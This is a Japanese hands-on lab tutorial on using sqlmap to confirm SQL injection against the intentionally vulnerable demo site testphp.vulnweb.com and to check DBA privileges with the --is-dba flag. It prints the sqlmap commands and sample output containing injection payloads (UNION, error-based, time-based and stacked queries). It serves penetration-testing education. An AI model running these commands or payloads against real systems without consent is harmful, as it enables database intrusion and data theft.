はじめに
サイバーセキュリティおよびペネトレーションテストの分野では、侵害されたシステムで獲得したアクセスレベルを理解することが最も重要です。データベースシステムを扱う場合、最も重要な情報の一つは、現在のデータベースユーザーがデータベース管理者(DBA)権限を持っているかどうかです。DBA ユーザーは通常、データベース、テーブル、ユーザーの作成、変更、削除、機密データの読み書きなど、データベースに対する広範な制御権を持っています。
sqlmap は、SQL インジェクションの脆弱性を検出し、悪用し、データベースサーバーを乗っ取るプロセスを自動化するオープンソースのペネトレーションテストツールです。脆弱性を見つけるだけでなく、sqlmap は侵害されたデータベースを列挙し、対話するためのさまざまな機能を提供します。そのような重要な機能の一つに、現在のデータベースユーザーが DBA 権限を持っているかどうかを確認する機能があります。
この実験(Lab)では、sqlmap を使用して現在のデータベースユーザーが DBA 権限を持っているかどうかを判断するプロセスを説明します。成功した SQL インジェクションを確立する方法、DBA 権限がなぜ重要なのかを理解し、次に sqlmap の --is-dba フラグを使用してチェックを実行します。最後に、結果を解釈してアクセスレベルを理解します。
対象へのインジェクションの確立
このステップでは、対象への SQL インジェクションの確立をシミュレートします。この実験(Lab)の目的のために、sqlmap が悪用できる既知の脆弱な URL を使用します。この最初のステップは、sqlmap がデータベースと対話し、DBA 権限の確認を含むさらなる列挙を実行するために有効なインジェクションポイントを必要とするため、非常に重要です。
ターミナルを ~/project ディレクトリで開きます。デモンストレーション目的でダミーの URL を使用します。実際のシナリオでは、偵察および手動テストを通じて脆弱な URL を特定しているはずです。
以下の sqlmap コマンドを実行して、インジェクションが成功したことを確認します。プロセスを自動化し、デフォルトの選択を受け入れるために、簡単な --url と --batch フラグを使用します。
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap がさまざまなテストを実行し、最終的にターゲットが SQL インジェクションに対して脆弱であることを確認する出力が表示されるはずです。脆弱性が正常に検出されたことを示す出力を探してください。
_
___| |_____ ___ ___ ___ {1.6.11.1#dev}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --[sqlmap]--
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[SNIP]
[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
sqlmap identified the following injection point(s) with a total of 18 HTTP(s) requests:
---
Parameter: cat (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7178717871,(SELECT (ELT(1337=1337,1))),0x717a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query all columns - 10 columns
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
Type: Stacked queries
Title: MySQL > 5.0.11 stacked queries (comment)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1;SELECT SLEEP(5)--
Type: Time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
出力は、cat パラメータがさまざまな種類の SQL インジェクションに対して脆弱であることを確認しています。これは、sqlmap がデータベースと対話できるようになったことを意味します。
DBA 権限の重要性を理解する
このステップでは、セキュリティ評価やペネトレーションテストの文脈において、DBA 権限を確認することがなぜ重要なのかを簡単に説明します。DBA アクセスを持つことの意味を理解することは、行動の優先順位付けと、成功したエクスプロイトの潜在的な影響を評価するのに役立ちます。
データベース管理者(DBA)は通常、データベースシステム内で最も高いレベルの権限を保持しています。これらの権限にはしばしば以下が含まれます。
- データに対する完全な制御: ユーザー認証情報、財務記録、個人データなどの機密情報を含む、データベース内のあらゆるデータの読み取り、書き込み、変更、削除を行う能力。
- スキーマの変更: テーブル、ビュー、ストアドプロシージャ、その他のデータベースオブジェクトを作成、変更、または削除する権限。これはデータの操作やサービス拒否につながる可能性があります。
- ユーザー管理: 他のデータベースユーザーを作成、変更、または削除し、それらの権限を割り当てたり取り消したりする能力。これはバックドアを作成したり、さらに権限を昇格させたりするために使用される可能性があります。
- システムレベルのアクセス(場合による): データベースシステムとその構成によっては、DBA 権限がオペレーティングシステムのコマンドを実行したり、サーバー上のファイルにアクセスしたりすることにまで拡張され、システム全体の侵害につながる可能性があります。
現在のデータベースユーザーが DBA 権限を持っていることを発見した場合、それは重大な脆弱性を示します。これは、データベースに対する広範な制御を持っていることを意味し、さらなる攻撃、データ漏洩、またはシステム侵害に利用される可能性があります。逆に、ユーザーが DBA 権限を持っていない場合、アクセスは制限されており、権限昇格の機会を探す必要があるかもしれません。
このステップでは直接的なコマンドは含まれませんが、次のステップの文脈を理解するために重要です。
--is-dba フラグを使用して現在のユーザー権限を確認する
このステップでは、DBA 権限を確認するために使用される sqlmap の特定のフラグである --is-dba について学びます。このフラグは、SQL インジェクションを通じて特定された現在のデータベースユーザーが管理者権限を持っているかどうかを迅速に判断するように設計されています。
--is-dba フラグはブールオプションです。これを使用すると、sqlmap はデータベースに対して一連のチェックを実行し、ユーザーが DBA レベルの権限を持っているかどうかを確認します。結果は単純な True または False の出力となり、これらの権限の有無を示します。
sqlmap が --is-dba フラグを効果的に使用するには、まずインジェクションポイントを正常に確立している必要があることに注意することが重要です(ステップ 1 で行ったように)。有効なインジェクションがないと、sqlmap は必要なチェックを実行するためにデータベースと通信できません。
このフラグの使用構文は簡単です。
sqlmap --url "<target_url>" --is-dba
ここで <target_url> は特定した脆弱な URL です。この場合、http://testphp.vulnweb.com/listproducts.php?cat=1 となります。
このステップも主に概念的なものであり、次のステップでの実際の実行に備えるものです。
DBA ステータスを確認するためのコマンドを実行する
--is-dba フラグについて理解したところで、ターゲットの DBA 権限を確認するために sqlmap コマンドを実行しましょう。
ターミナルを ~/project ディレクトリで開きます。ステップ 1 と同じ脆弱な URL を使用します。
以下のコマンドを実行します。
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --batch
--batch フラグは、プロセスを自動化し、デフォルトの選択を受け入れるために再度追加されており、プロセス中に sqlmap がユーザー入力を求めるのを防ぎます。
sqlmap はこれからチェックを実行します。出力を注意深く観察してください。sqlmap がさまざまな権限をテストし、最終的に DBA ステータスに関する明確な回答を提供するのを確認できるはずです。
_
___| |_____ ___ ___ ___ {1.6.11.1#dev}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --[sqlmap]--
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[SNIP]
[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
[INFO] checking if the current user is DBA
[INFO] the current user is not a DBA
[INFO] fetched data:
[INFO] the current user is DBA: False
出力の中で、「the current user is DBA: False」または「the current user is DBA: True」と明示的に記載されている行を探してください。これが私たちのチェックの結果です。
sqlmap の True または False の結果を解釈する
この最終ステップでは、sqlmap の --is-dba チェックから得られた True または False の結果を解釈し、その意味を理解します。
ステップ 4 でコマンドを実行した後、sqlmap は以下のような行を出力します。
[INFO] the current user is DBA: False
または
[INFO] the current user is DBA: True
結果の解釈:
[INFO] the current user is DBA: False: これは、sqlmapがデータベースとやり取りしている現在のデータベースユーザーが、データベース管理者権限を持っていないことを示します。SQL インジェクションを正常に悪用できたとしても、アクセスは制限されます。実際のペネトレーションテストでは、より高いアクセス権を得るために、権限昇格技術などの他の手段を探す必要があることを意味します。[INFO] the current user is DBA: True: これは、現在のデータベースユーザーがデータベース管理者権限を持っていることを示します。これは重要な発見であり、データベースに対する広範な制御が可能であることを意味します。DBA 権限があれば、以下のようなことが可能です。- あらゆるデータの読み取り、変更、削除。
- 管理権限を持つ新しいユーザーの作成。
- オペレーティングシステムコマンドの実行(データベースの設定が許可している場合)。
- 機密情報を発見するためのさらなる列挙の実行。
この実験で使用した http://testphp.vulnweb.com ターゲットの場合、期待される出力は False であり、sqlmap が操作しているユーザーは DBA 権限を持っていないことを意味します。これは、データベースユーザーが最小権限の原則に基づいて設定されていることが多い実際のアプリケーションでは一般的なシナリオです。
この結果を理解することは、セキュリティ評価における次のステップを計画する上で非常に重要です。これにより、SQL インジェクション脆弱性の深刻度と、ターゲットシステムへの潜在的な影響を評価することができます。
まとめ
この実験では、sqlmap を使用してデータベース管理者(DBA)権限を確認する方法を学びました。まず、ターゲットに対して SQL インジェクションを成功させました。これは、sqlmap がデータベースとやり取りするための前提条件です。次に、セキュリティの文脈において DBA 権限を特定することの重要性について議論し、そのような権限がデータベースシステムに対して与える広範な制御について強調しました。
この目的のために設計された sqlmap の特定のフラグ --is-dba について学びました。最後に、コマンドを実行し、True または False の結果を解釈して、さらなるペネトレーションテストやセキュリティ評価への影響を理解しました。このスキルは、SQL インジェクション脆弱性の影響を正確に評価し、サイバーセキュリティのエンゲージメントにおける後続のアクションを計画するための基本となります。


